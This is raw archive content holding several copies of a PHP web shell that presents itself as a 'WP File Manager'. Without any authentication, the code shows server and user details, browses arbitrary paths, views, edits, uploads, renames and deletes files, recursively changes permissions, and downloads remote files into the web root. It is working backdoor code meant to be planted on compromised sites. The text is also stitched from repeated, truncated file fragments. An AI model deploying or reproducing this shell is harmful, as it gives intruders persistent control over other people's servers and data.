"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK“&{]qÜd©Ë©Ëgpt1@drsupernova.com/kl.phpnu„[µü¤ kllllllXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK“&{]CO¹ò®Ë®Ëgpt1@drsupernova.com/ui.phpnu„[µü¤ uiiiiiiiXdsaXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = 